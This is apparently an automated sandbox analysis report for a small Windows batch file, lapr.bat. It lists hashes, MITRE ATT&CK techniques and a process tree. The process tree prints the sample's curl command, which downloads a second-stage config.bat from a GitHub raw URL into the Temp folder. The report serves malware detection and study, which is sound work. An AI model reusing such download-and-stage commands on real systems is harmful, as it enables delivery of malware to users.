f13b93c0627bb748f48c6aea72af2100550d0c74cdbd86f59be83174979fa969

Analysis

user interaction
yes
max time kernel
898s
max time network
439s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
25/08/2026, 23:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lapr.bat
Size 607B
Sample260825-21plfabb49
SHA256 f13b93c0627bb748f48c6aea72af2100550d0c74cdbd86f59be83174979fa969
MD5 0f390e0ab45f8453cad4cdb8012ad695
SHA1 d04c603c208acba2eca8850e42b6c173d05924c9
SHA512 3a7dc73674fed2f04046d04ecdf213c2aad736fc79f91372f7f577bef08335dbe6a2786ed3934b4aadc348f7f539e13615cc14a383ef7eab6dfedac2bd3232f0
TLSH
T1E9F02B572C0D696A0279CE40E4970A78EF0682975762948C7822901C9FBC8A3E4BFAE5
MD5 SHA1 SHA512 TLSH

Score

6^/10

execution

Malware Config

Signatures

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
5	raw.githubusercontent.com
6	raw.githubusercontent.com

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1976	cmd.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 1976 wrote to memory of 4744	1976	cmd.exe	86

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\lapr.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1976
- C:\Windows\system32\curl.exe
  curl -s -L -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "https://raw.githubusercontent.com/maxenmottice64-sys/lapr-----------------------------------------------------------------------------/refs/heads/main/config.bat" -o "config.bat"
  2⤵
  PID:4744

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

config.bat

Path C:\Users\Admin\AppData\Local\Temp\config.bat
Size 50B
SHA256 55badfcf5b0861f4e540fb3f3f3ae13ce5f74a7a39f1baf36cedd3d913f18878
MD5 c25a5559a0fe29a6a4d6760f6be03023
SHA1 90dfaf0b5100ee825939a248dee81325fce0e2ae
SHA512 3891076b63139b46a16fbc526ce01056d791c5935f536f01e6350fc54b3084533380a9be270776cff84669c4841659e2a99af8136978cb603ac7a692b0b63249
TLSH
T1DB900256555DA45741803E55559B00AC691CA3965180DE820953546E8C46981B85B001
MD5 SHA1 SHA512 TLSH

Submit Download